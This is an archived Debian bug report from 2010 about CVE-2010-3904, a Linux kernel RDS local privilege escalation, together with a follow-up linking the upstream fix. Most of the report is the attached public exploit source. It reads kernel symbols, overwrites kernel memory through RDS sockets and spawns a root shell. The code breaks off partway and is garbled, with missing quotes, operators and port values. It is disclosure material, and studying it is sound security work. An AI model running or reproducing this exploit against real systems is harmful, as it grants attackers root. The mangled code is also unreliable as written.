Bug#600757: linux-2.6: Linux RDS Protocol Local Privilege Escalation

2010-10-19 Thread Juan Angulo Moreno
Package: linux-2.6
Version: 2.6.32-5-686
Severity: critical
Tags: security
Justification: root security hole

There is a security hole in all versions of linux-2.6 distributed by Debian.

The attached exploit code can be used to test if a kernel is vulnerable,
it starts a root shell.

I test it in Debian Squeeze, a screenshot can be found in
http://i56.tinypic.com/2nh19v6.png


-- 
Juan Angulo Moreno
/* 
 * Linux Kernel = 2.6.36-rc8 RDS privilege escalation exploit
 * CVE-2010-3904
 * by Dan Rosenberg drosenb...@vsecurity.com
 *
 * Copyright 2010 Virtual Security Research, LLC
 *
 * The handling functions for sending and receiving RDS messages
 * use unchecked __copy_*_user_inatomic functions without any
 * access checks on user-provided pointers.  As a result, by
 * passing a kernel address as an iovec base address in recvmsg-style
 * calls, a local user can overwrite arbitrary kernel memory, which
 * can easily be used to escalate privileges to root.  Alternatively,
 * an arbitrary kernel read can be performed via sendmsg calls.
 *
 * This exploit is simple - it resolves a few kernel symbols,
 * sets the security_ops to the default structure, then overwrites
 * a function pointer (ptrace_traceme) in that structure to point
 * to the payload.  After triggering the payload, the original
 * value is restored.  Hard-coding the offset of this function
 * pointer is a bit inelegant, but I wanted to keep it simple and
 * architecture-independent (i.e. no inline assembly).
 *
 * The vulnerability is yet another example of why you shouldn't
 * allow loading of random packet families unless you actually
 * need them.
 *
 * Greets to spender, kees, taviso, hawkes, team lollerskaters,
 * joberheide, bla, sts, and VSR
 *
 */


#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include errno.h
#include string.h
#include sys/ptrace.h
#include sys/utsname.h

#define RECVPORT  
#define SENDPORT 

int prep_sock(int port)
{
	
	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s  0) {
		printf([*] Could not open socket.\n);
		exit(-1);
	}
	
	memset(addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr(127.0.0.1);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	ret = bind(s, (struct sockaddr *)addr, sizeof(addr));

	if(ret  0) {
		printf([*] Could not bind socket.\n);
		exit(-1);
	}

	return s;

}

void get_message(unsigned long address, int sock)
{

	recvfrom(sock, (void *)address, sizeof(void *), 0,
		 NULL, NULL);

}

void send_message(unsigned long value, int sock)
{
	
	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;
	
	memset(recvaddr, 0, sizeof(recvaddr));

	size = sizeof(recvaddr);

	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr(127.0.0.1);

	memset(msg, 0, sizeof(msg));
	
	msg.msg_name = recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;
	
	buf = value;

	iov.iov_len = sizeof(buf);
	iov.iov_base = buf;

	msg.msg_iov = iov;

	ret = sendmsg(sock, msg, 0);
	if(ret  0) {
		printf([*] Something went wrong sending.\n);
		exit(-1);
	}
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

	if(!fork()) {
			sleep(1);
			send_message(value, sendsock);
			exit(1);
	}
	else {
		get_message(addr, recvsock);
		wait(NULL);
	}

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

	commit_creds(prepare_kernel_cred(0));
	return -1;	

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen(/proc/kallsyms, r);
	if (f == NULL) {
		f = fopen(/proc/ksyms, r);
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, %p %c %s\n, (void **)addr, dummy, sname);
		else {
			ret = fscanf(f, %p %s\n, (void **)addr, sname);
			if (ret == 2) {
char *p;
if (strstr(sname, _O/) || strstr(sname, _S.))
	continue;
p = strrchr(sname, '_');
if (p  ((char *)sname + 5)  !strncmp(p - 3, smp, 3)) {
	p = p - 4;
	while (p  (char *)sname  *(p - 1) == '_')
		p--;
	*p = '\0';
}
			}
		}
		if (ret == 0) {
			fscanf(f, %s\n, sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout,  [+] Resolved %s to %p%s\n, name, (void *)addr, rep ?  (via System.map) : );
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated

Bug#600757: Possible Fix

2010-10-19 Thread Juan Angulo Moreno
tag 600757 pending
thanks

It is patch can fix:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=799c10559d60f159ab2232203f222f18fa3c4a5f


-- 
Juan Angulo Moreno



-- 
To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/aanlkti=e-pt-p27pe5lykjgmoftyjxl0f5c7cihnb...@mail.gmail.com